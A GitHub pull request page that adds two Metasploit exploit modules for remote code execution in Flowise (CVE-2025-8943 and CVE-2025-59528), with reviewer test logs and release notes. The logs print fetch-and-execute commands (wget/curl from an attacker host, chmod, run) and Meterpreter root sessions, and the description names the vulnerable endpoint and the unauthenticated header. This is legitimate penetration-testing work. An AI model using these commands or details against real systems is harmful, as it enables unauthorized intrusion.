Skip to content

Conversation

@Chocapikk
Copy link
Contributor

@Chocapikk Chocapikk commented Nov 18, 2025

Hello Metasploit Team,

I've created two new exploit modules for Flowise RCE vulnerabilities along with a shared mixin to reduce code duplication and improve maintainability.

Modules

1. flowise_custommcp_rce (CVE-2025-8943)

  • Vulnerability: Command injection via StdioClientTransport in the customMCP endpoint
  • Affected versions: >= 2.2.7-patch.1 and < 3.0.1
  • Authentication: Unauthenticated by default (uses x-request-from: internal header). Optional Basic Auth support if FLOWISE_USERNAME/FLOWISE_PASSWORD environment variables are configured on the target.

2. flowise_js_rce (CVE-2025-59528)

  • Vulnerability: JavaScript injection via convertToValidJSONString() using Function('return ' + inputString)()
  • Affected versions: >= 2.2.7-patch.1 and < 3.0.6
  • Authentication:
    • Unauthenticated for versions < 3.0.1 (if Basic Auth is not configured)
    • Requires FLOWISE_EMAIL/FLOWISE_PASSWORD module options for versions >= 3.0.1 (JWT verification introduced)

Implementation Details

  • Shared mixin: Created Msf::Exploit::Remote::HTTP::Flowise mixin to encapsulate common functionality:

    • Version detection (flowise_get_version)
    • Authentication handling (flowise_login, flowise_requires_auth?)
    • Request sending (flowise_send_custommcp_request)
  • Documentation: Comprehensive documentation with Docker Compose setup for testing multiple Flowise versions simultaneously

Testing

Successfully tested on:

  • flowise_custommcp_rce (CVE-2025-8943):

    • Flowise 2.2.7-patch.1 (unauthenticated, vulnerable)
    • Flowise 2.2.7-patch.1 with Basic Auth configured (FLOWISE_USERNAME/FLOWISE_PASSWORD env vars, vulnerable)
    • Flowise 3.0.0 (unauthenticated, vulnerable)
    • Flowise 3.0.1 (verified fixed, not vulnerable)
  • flowise_js_rce (CVE-2025-59528):

    • Flowise 2.2.7-patch.1 (unauthenticated, vulnerable)
    • Flowise 3.0.0 (unauthenticated, vulnerable)
    • Flowise 3.0.4 (authentication required, vulnerable)
    • Flowise 3.0.6 (verified fixed, not vulnerable)

Both vulnerabilities exploit the /api/v1/node-load-method/customMCP endpoint, which was introduced in version 2.2.7-patch.1. The endpoint allows execution of OS commands through the Custom MCPs feature, which lacks proper authentication and authorization controls in versions before 3.0.1.

Copy link
Contributor

@msutovsky-r7 msutovsky-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

msf exploit(multi/http/flowise_custommcp_rce) > check
[*] Flowise version detected: 3.0.0
[*] 127.0.0.1:3000 - The target appears to be vulnerable. Version 3.0.0 is vulnerable to CVE-2025-8943
msf exploit(multi/http/flowise_custommcp_rce) > run verbose=true 
[*] Command to run on remote host: curl -so ./yvMbpEGLSTB http://172.17.0.1:8080/6-QSk_1Z4L51LCLriobShA;chmod +x ./yvMbpEGLSTB;./yvMbpEGLSTB&
[*] Fetch handler listening on 172.17.0.1:8080
[*] HTTP server started
[*] Adding resource /6-QSk_1Z4L51LCLriobShA
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Flowise version detected: 3.0.0
[+] The target appears to be vulnerable. Version 3.0.0 is vulnerable to CVE-2025-8943
[*] Client 172.21.0.2 requested /6-QSk_1Z4L51LCLriobShA
[*] Sending payload to 172.21.0.2 (curl/8.12.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.21.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.21.0.2:41646) at 2025-11-19 08:37:25 +0100

  
meterpreter > 
meterpreter > sysinfo
Computer     : 172.21.0.2
OS           :  (Linux 6.17.4-76061704-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root

Chocapikk and others added 5 commits November 19, 2025 19:56
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
…mixin, documentation, and Docker Compose setup
@Chocapikk Chocapikk changed the title Add Flowise Custom MCP RCE exploit (CVE-2025-8943) Add Flowise RCE exploits (CVE-2025-59528, CVE-2025-8943) Nov 19, 2025
Copy link
Contributor

@msutovsky-r7 msutovsky-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

CVE-2025-8943

msf exploit(multi/http/flowise_custommcp_rce) > run verbose=true 
[*] Command to run on remote host: wget -qO ./jMiKfYqrONf http://172.17.0.1:8080/6-QSk_1Z4L51LCLriobShA;chmod +x ./jMiKfYqrONf;./jMiKfYqrONf&
[*] Fetch handler listening on 172.17.0.1:8080
[*] HTTP server started
[*] Adding resource /6-QSk_1Z4L51LCLriobShA
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Flowise version detected: 3.0.0
[+] The target appears to be vulnerable. (affected: >= 2.2.7-patch.1 and < 3.0.1)
[*] Client 172.21.0.2 requested /6-QSk_1Z4L51LCLriobShA
[*] Sending payload to 172.21.0.2 (Wget)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.21.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.21.0.2:50060) at 2025-11-20 10:33:58 +0100

meterpreter > 
meterpreter > sysinfo
Computer     : 172.21.0.2
OS           :  (Linux 6.17.4-76061704-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root

CVE-2025-59528

msf exploit(multi/http/flowise_js_rce) > run verbose=true 
[*] Command to run on remote host: wget -qO ./IiMLZkCGWZ http://172.17.0.1:8080/6-QSk_1Z4L51LCLriobShA;chmod +x ./IiMLZkCGWZ;./IiMLZkCGWZ&
[*] Fetch handler listening on 172.17.0.1:8080
[*] HTTP server started
[*] Adding resource /6-QSk_1Z4L51LCLriobShA
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Flowise version detected: 3.0.0
[+] The target appears to be vulnerable. (affected: >= 2.2.7-patch.1 and < 3.0.6) (may work unauthenticated)
[*] Client 172.21.0.2 requested /6-QSk_1Z4L51LCLriobShA
[*] Sending payload to 172.21.0.2 (Wget)
[*] Command sent successfully (HTTP 200)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.21.0.2
[*] Meterpreter session 2 opened (172.17.0.1:4444 -> 172.21.0.2:42766) at 2025-11-20 10:40:35 +0100

meterpreter > sysinfo
Computer     : 172.21.0.2
OS           :  (Linux 6.17.4-76061704-generic)
Architecture : x64
gBuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root

Chocapikk and others added 4 commits November 20, 2025 21:55
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
Copy link
Contributor

@msutovsky-r7 msutovsky-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

rmsf exploit(multi/http/flowise_js_rce) > run verbose=true 
[*] Command to run on remote host: wget -qO ./MyPRGRWPiiTH http://172.17.0.1:8080/6-QSk_1Z4L51LCLriobShA;chmod +x ./MyPRGRWPiiTH;./MyPRGRWPiiTH&
[*] Fetch handler listening on 172.17.0.1:8080
[*] HTTP server started
[*] Adding resource /6-QSk_1Z4L51LCLriobShA
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Flowise version detected: 3.0.0
[+] The target appears to be vulnerable. (affected: >= 2.2.7-patch.1 and < 3.0.6) (may work unauthenticated)
wget -qO ./MyPRGRWPiiTH http://172.17.0.1:8080/6-QSk_1Z4L51LCLriobShA;chmod +x ./MyPRGRWPiiTH;./MyPRGRWPiiTH&
[*] Client 172.21.0.2 requested /6-QSk_1Z4L51LCLriobShA
[*] Sending payload to 172.21.0.2 (Wget)
[*] Command sent successfully (HTTP 200)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.21.0.2
[*] Meterpreter session 5 opened (172.17.0.1:4444 -> 172.21.0.2:49224) at 2025-11-21 14:54:02 +0100

meterpreter >
msf exploit(multi/http/flowise_custommcp_rce) > run verbose=true 
[*] Command to run on remote host: wget -qO ./RKJYlPhhUo http://172.17.0.1:8080/84MXSOLXzp3D5wBw9VEswg;chmod +x ./RKJYlPhhUo;./RKJYlPhhUo&
[*] Fetch handler listening on 172.17.0.1:8080
[*] HTTP server started
[*] Adding resource /84MXSOLXzp3D5wBw9VEswg
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Flowise version detected: 3.0.0
[+] The target appears to be vulnerable. (affected: >= 2.2.7-patch.1 and < 3.0.1)
[*] Client 172.21.0.2 requested /84MXSOLXzp3D5wBw9VEswg
[*] Sending payload to 172.21.0.2 (Wget)
[*] Meterpreter session 2 opened (172.17.0.1:4444 -> 172.21.0.2:47464) at 2025-11-21 14:52:17 +0100

meterpreter >

Copy link
Contributor

@msutovsky-r7 msutovsky-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Flowise JS RCE

msf exploit(multi/http/flowise_js_rce) > run verbose=true 
[*] Command to run on remote host: wget -qO ./jUSqvQikK http://172.17.0.1:8080/6-QSk_1Z4L51LCLriobShA;chmod +x ./jUSqvQikK;./jUSqvQikK&
[*] Fetch handler listening on 172.17.0.1:8080
[*] HTTP server started
[*] Adding resource /6-QSk_1Z4L51LCLriobShA
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Flowise version detected: 3.0.0
[+] The target appears to be vulnerable. (affected: >= 2.2.7-patch.1 and < 3.0.6) (may work unauthenticated)
[*] Command sent successfully (HTTP 200)
[*] Client 172.21.0.2 requested /6-QSk_1Z4L51LCLriobShA
[*] Sending payload to 172.21.0.2 (Wget)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.21.0.2
[*] Meterpreter session 2 opened (172.17.0.1:4444 -> 172.21.0.2:60210) at 2025-11-21 20:48:59 +0100

meterpreter > sysinfo 
Computer     : 172.21.0.2
OS           :  (Linux 6.17.4-76061704-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root

Flowise custommcp RCE

msf exploit(multi/http/flowise_custommcp_rce) > run verbose=true 
[*] Command to run on remote host: wget -qO ./jXbVzdDqF http://172.17.0.1:8080/6-QSk_1Z4L51LCLriobShA;chmod +x ./jXbVzdDqF;./jXbVzdDqF&
[*] Fetch handler listening on 172.17.0.1:8080
[*] HTTP server started
[*] Adding resource /6-QSk_1Z4L51LCLriobShA
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Flowise version detected: 3.0.0
[+] The target appears to be vulnerable. (affected: >= 2.2.7-patch.1 and < 3.0.1)
[*] Client 172.21.0.2 requested /6-QSk_1Z4L51LCLriobShA
[*] Sending payload to 172.21.0.2 (Wget)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.21.0.2
[*] Meterpreter session 3 opened (172.17.0.1:4444 -> 172.21.0.2:35224) at 2025-11-21 20:51:10 +0100

[!] No response from server (command may still execute in background)

meterpreter > 
meterpreter > sysinfo
Computer     : 172.21.0.2
OS           :  (Linux 6.17.4-76061704-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root

@msutovsky-r7 msutovsky-r7 added the rn-modules release notes for new or majorly enhanced modules label Nov 21, 2025
@msutovsky-r7 msutovsky-r7 merged commit 8f2525a into rapid7:master Nov 21, 2025
45 of 49 checks passed
@msutovsky-r7
Copy link
Contributor

msutovsky-r7 commented Nov 21, 2025

Release Notes

This adds two modules for two vulnerabilities in Flowise (CVE-2025-59528CVE-2025-8943). The modules add an option to use Flowise credentials for authentication when the application requires it, enabling exploitation of vulnerabilities.

@Chocapikk Chocapikk deleted the flowise branch November 24, 2025 20:06
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

docs module rn-modules release notes for new or majorly enhanced modules

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants